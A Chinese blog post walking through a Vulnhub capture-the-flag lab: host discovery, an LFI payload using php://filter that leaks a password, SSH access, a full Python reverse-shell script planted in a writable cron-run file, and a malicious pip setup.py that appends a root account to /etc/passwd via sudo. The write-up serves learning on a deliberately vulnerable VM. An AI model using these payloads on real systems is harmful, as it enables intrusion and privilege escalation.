专栏首页网络攻防实战知识交流带妹玩转vulnhub(七)

带妹玩转vulnhub(七)

前言

国庆第一天,不太想撩妹,再写点东西,增加点产量,严肃脸?

信息搜集

主机发现

netdiscover -r 192.168.43.0/24

端口扫描

nmap -A -p- -T4 192.168.43.76

开始渗透

子目录扫描

访问80,扫到的每个页面都看一下,以及源代码。

可以知道作者为mamadou 而且这里存在文件包含漏洞(现学现卖)

参考链接

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal#lfi--rfi-using-wrappers

经过各种尝试,最终使用如下payload

http://192.168.43.76/?lang=php://filter/convert.base64-encode/resource=index

可以得到一段base64加密代码,这应该就是index.php的源代码

PD9waHAKJHBhc3N3b3JkID0iTmlhbWV5NEV2ZXIyMjchISEiIDsvL0kgaGF2ZSB0byByZW1lbWJlciBpdAoKaWYgKGlzc2V0KCRfR0VUWydsYW5nJ10pKQp7CmluY2x1ZGUoJF9HRVRbJ2xhbmcnXS4iLnBocCIpOwp9Cgo/PgoKCgo8IURPQ1RZUEUgaHRtbD4KPGh0bWwgbGFuZz0iZW4iPjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+CiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm8iPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IlZpYnJhbml1bSBtYXJrZXQiPgogICAgPG1ldGEgbmFtZT0iYXV0aG9yIiBjb250ZW50PSJtYW1hZG91Ij4KCiAgICA8dGl0bGU+VmlicmFuaXVtIE1hcmtldDwvdGl0bGU+CgoKICAgIDxsaW5rIGhyZWY9ImJvb3RzdHJhcC5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CgogICAgCiAgICA8bGluayBocmVmPSJjb3Zlci5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CiAgPC9oZWFkPgoKICA8Ym9keSBjbGFzcz0idGV4dC1jZW50ZXIiPgoKICAgIDxkaXYgY2xhc3M9ImNvdmVyLWNvbnRhaW5lciBkLWZsZXggdy0xMDAgaC0xMDAgcC0zIG14LWF1dG8gZmxleC1jb2x1bW4iPgogICAgICA8aGVhZGVyIGNsYXNzPSJtYXN0aGVhZCBtYi1hdXRvIj4KICAgICAgICA8ZGl2IGNsYXNzPSJpbm5lciI+CiAgICAgICAgICA8aDMgY2xhc3M9Im1hc3RoZWFkLWJyYW5kIj5WaWJyYW5pdW0gTWFya2V0PC9oMz4KICAgICAgICAgIDxuYXYgY2xhc3M9Im5hdiBuYXYtbWFzdGhlYWQganVzdGlmeS1jb250ZW50LWNlbnRlciI+CiAgICAgICAgICAgIDxhIGNsYXNzPSJuYXYtbGluayBhY3RpdmUiIGhyZWY9IiMiPkhvbWU8L2E+CiAgICAgICAgICAgIDwhLS0gPGEgY2xhc3M9Im5hdi1saW5rIGFjdGl2ZSIgaHJlZj0iP2xhbmc9ZnIiPkZyL2E+IC0tPgogICAgICAgICAgPC9uYXY+CiAgICAgICAgPC9kaXY+CiAgICAgIDwvaGVhZGVyPgoKICAgICAgPG1haW4gcm9sZT0ibWFpbiIgY2xhc3M9ImlubmVyIGNvdmVyIj4KICAgICAgICA8aDEgY2xhc3M9ImNvdmVyLWhlYWRpbmciPkNvbWluZyBzb29uPC9oMT4KICAgICAgICA8cCBjbGFzcz0ibGVhZCI+CiAgICAgICAgICA8P3BocAogICAgICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ2xhbmcnXSkpCiAgICAgICAgICB7CiAgICAgICAgICBlY2hvICRtZXNzYWdlOwogICAgICAgICAgfQogICAgICAgICAgZWxzZQogICAgICAgICAgewogICAgICAgICAgICA/PgoKICAgICAgICAgICAgTmV4dCBvcGVuaW5nIG9mIHRoZSBsYXJnZXN0IHZpYnJhbml1bSBtYXJrZXQuIFRoZSBwcm9kdWN0cyBjb21lIGRpcmVjdGx5IGZyb20gdGhlIHdha2FuZGEuIHN0YXkgdHVuZWQhCiAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICB9Cj8+CiAgICAgICAgPC9wPgogICAgICAgIDxwIGNsYXNzPSJsZWFkIj4KICAgICAgICAgIDxhIGhyZWY9IiMiIGNsYXNzPSJidG4gYnRuLWxnIGJ0bi1zZWNvbmRhcnkiPkxlYXJuIG1vcmU8L2E+CiAgICAgICAgPC9wPgogICAgICA8L21haW4+CgogICAgICA8Zm9vdGVyIGNsYXNzPSJtYXN0Zm9vdCBtdC1hdXRvIj4KICAgICAgICA8ZGl2IGNsYXNzPSJpbm5lciI+CiAgICAgICAgICA8cD5NYWRlIGJ5PGEgaHJlZj0iIyI+QG1hbWFkb3U8L2E+PC9wPgogICAgICAgIDwvZGl2PgogICAgICA8L2Zvb3Rlcj4KICAgIDwvZGl2PgoKCgogIAoKPC9ib2R5PjwvaHRtbD4=

这里除了可以通过正常访问网页来获取代码,也可以使用curl工具。 命令如下

curl http://192.168.43.76/?lang=php://filter/convert.base64-encode/resource=index

这样便可以较为方便得到base64加密的代码

解密后得到

<?php $password ="Niamey4Ever227!!!" ;//I have to remember it if (isset($_GET['lang'])) { include($_GET['lang'].".php"); } ?> <!DOCTYPE html> <html lang="en"><head> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Vibranium market"> <meta name="author" content="mamadou"> <title>Vibranium Market</title> <link href="bootstrap.css" rel="stylesheet"> <link href="cover.css" rel="stylesheet"> </head> <body class="text-center"> <div class="cover-container d-flex w-100 h-100 p-3 mx-auto flex-column"> <header class="masthead mb-auto"> <div class="inner"> <h3 class="masthead-brand">Vibranium Market</h3> <nav class="nav nav-masthead justify-content-center"> <a class="nav-link active" href="#">Home</a> <!-- <a class="nav-link active" href="?lang=fr">Fr/a> --> </nav> </div> </header> <main role="main" class="inner cover"> <h1 class="cover-heading">Coming soon</h1> <p class="lead"> <?php if (isset($_GET['lang'])) { echo $message; } else { ?> Next opening of the largest vibranium market. The products come directly from the wakanda. stay tuned! <?php } ?> </p> <p class="lead"> <a href="#" class="btn btn-lg btn-secondary">Learn more</a> </p> </main> <footer class="mastfoot mt-auto"> <div class="inner"> <p>Made by<a href="#">@mamadou</a></p> </div> </footer> </div> </body></html>

代码审计

从源代码中很明显的可以看到一个文件包含漏洞,并且获得了密码Niamey4Ever227!!!,尝试ssh登陆,得到一个python的shell

通过一些简单的代码,便可以获得

tty import pty pty.spawn("/bin/bash")

很轻易的可以发现几个falg,但是有一个我们当前用户似乎没有权限。

我尝试全局搜索flag关键字,这里提到一个搜索的技巧 find / -name flag 2>/dev/null 这样就可以避免很多报错 我尝试查看devops用户所在的组:

就我们现在手里所拥有的信息来看,想要爆破出devops用户的密码似乎不太可能。但是可以看到devops用户和组号是不同的,因此我们可以尝试往1002组中添加一个用户。

因此我们尝试搜索所属1002组的文件

find / -group 1002 2>/dev/null

这里发现一个十分可疑的文件/srv/.antivirus.py,该文件对其他用户是可读写的,并且我们可以使用pyhton运行一个脚本。

因此我们完全可以写一个反向shell,这样我们便拥有了devops用户的权限,这大概就是因为权限设置错误而导致大致命问题吧!

代码如下:

参考链接

https://github.com/infodox/python-pty-shells

#!/usr/bin/python2"""Reverse Connect TCP PTY Shell - v1.0infodox - insecurety.net (2013)Gives a reverse connect PTY over TCP.For an excellent listener use the following socat command:socat file:`tty`,echo=0,raw tcp4-listen:PORTOr use the included tcp_pty_shell_handler.py"""import osimport ptyimport socketlhost = "127.0.0.1" # XXX: CHANGEMElport = 31337 # XXX: CHANGEMEdef main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((lhost, lport)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) os.putenv("HISTFILE",'/dev/null') pty.spawn("/bin/bash") s.close() if __name__ == "__main__": main()

我们需要使用devops用户运行该python代码,要知道服务器上不会平白无故出现一些不该出现的文件,我们继续搜索

grep -rnw / -e '.antivirus.py' 2>/dev/null

似乎antivirus.service服务会运行该脚本,我们使用nc -lvp 2333监听2333端口,过一会便自动连接上了(本来我还想重启该服务,看来是不需要了?)

这样我们便拿到了一个flag

仅仅拥有devops用户的权限还远不够,我们需要获取root权限,才能达到终极目的。 通过sudo -l,我们可以知道该用户可以使用root权限运行pip命令,这真是令人又惊又喜。

就我们熟悉的,可以使用pip setup.py install命令来安装一个模块,那么我们完全可以模仿着写一个。 参考链接 代码如下:

https://github.com/delosec/Exploits-and-code-snippets/blob/master/malicious_pip.py

#!/usr/bin/python
#Rename to setup.py before use
#Run: sudo /usr/bin/pip install . --upgrade --force-reinstall
#Get root shell: su delo
#password is dsrrocks
from setuptools import setup
from setuptools.command.install import install
import os
class CustomInstall(install):
    def run(self):
        install.run(self)
        os.system('echo delo:3GsXLdEaKaGnM:0:0:root:/root:/bin/sh >> /etc/passwd')
setup(name='delopip',
      version='1.1.1',
      description='exploit sudo pip permissions',
      url='https://github.com/delosec',
      author='delo',
      author_email='delo@sec.com',
      license='MIT',
      zip_safe=False,
      cmdclass={'install':CustomInstall})

我们可以使用python内置的http服务器开启一个文件服务 python -m SimpleHTTPServer 8080

权限提升

成功运行sudo /usr/bin/pip install . --upgrade --force-reinstall后,我们便将delo用户添加到root用户组了。

而后我们可以使用su delo进行登陆,此时的我即具备了root权限。

总结

该靶场让我更加深入的理解了,对于linux系统权限配置的重要性,原来一个不小心权限的滥用,会最终导致root权限被攻克,看来以后在打awd可以仔细的思考下?主办方的权限配置问题了!?

今天没有妹子的告白 带妹是不可能带妹的,这辈子都不可能带妹的。?

本文分享自微信公众号 - 无级安全(wujisec)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-04-05

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • eclipse本地svn插件与库版本不一致更新等操作出错解决方法

    org.apache.subversion.javahl.ClientException: The working copy needs to be upgra...

    ZhangXianSheng
  • Java多线程学习(二)——Thread类的方法使用

    停止线程意味着在线程处理完任务之前停掉正在做的操作,也就是放弃当前操作。有以下三种方法终止正在运行中的线程:

    小森啦啦啦
  • 16、web爬虫讲解2—PhantomJS虚拟浏览器+selenium模块操作PhantomJS

    phantomjs 是一个基于js的webkit内核无头浏览器 也就是没有显示界面的浏览器,利用这个软件,可以获取到网址js加载的任何信息,也就是可以获取浏览器...

    天降攻城狮
  • 我深度学习0基础,还训练出一个识别验证码模型!

    最近一直没出文,是因为最近在写一个爬虫项目,这个项目里面,碰到了一个比较棘手的事情,那就是验证码。各种方法用尽,最后我还是决定去训练自己的模型,但是,有一个问...

    sergiojune
  • 8张思维导图,助你掌握 Python 基础

    思维导图是整理知识的一种非常有效的手段,这里分享几张 Python 基础学习的思维导图,可以帮助自己巩固下基础,有需要的小伙伴可以加紧时间收藏哦!

    一墨编程学习
  • 1分钟掌握 Python 函数参数

    任何编程语言函数都是非常重要的一部分,而在进行函数调用时,了解函数的参数传递方式是非常有必要的。Python中支持哪些传参方式呢?

    1480
  • 有了Excel、Tableau、PowerBI,为什么还要用Python分析数据

    如果你对数据分析有所了解,一定听说过一些亲民的工具如Excel、Tableau、PowerBI等,都能成为数据分析的得力助手。但它们的不足也是显而易见的:操作繁...

    Python进阶者
  • Python 工匠:做一个精通规则的玩家

    今天还是给大家推荐一篇 Python 优质文章,主要讲解 Python 中我们应该注意的一些规则。熟悉规则,并让自己的代码适应这些规则,可以帮助我们写出更地道...

    崔庆才
  • 因为 Python 的这 3 个优点,我的薪资涨了一倍

    如果你对数据分析有所了解,一定听说过一些亲民的工具如 Excel、Tableau、PowerBI 等,都能成为数据分析的得力助手。但它们的不足也是显而易见的:操...

    崔庆才
  • LeetCode 283:移动零 Move Zeroes

    给定一个数组 nums,编写一个函数将所有 0 移动到数组的末尾,同时保持非零元素的相对顺序。

    爱写bug

扫码关注云+社区

领取腾讯云代金券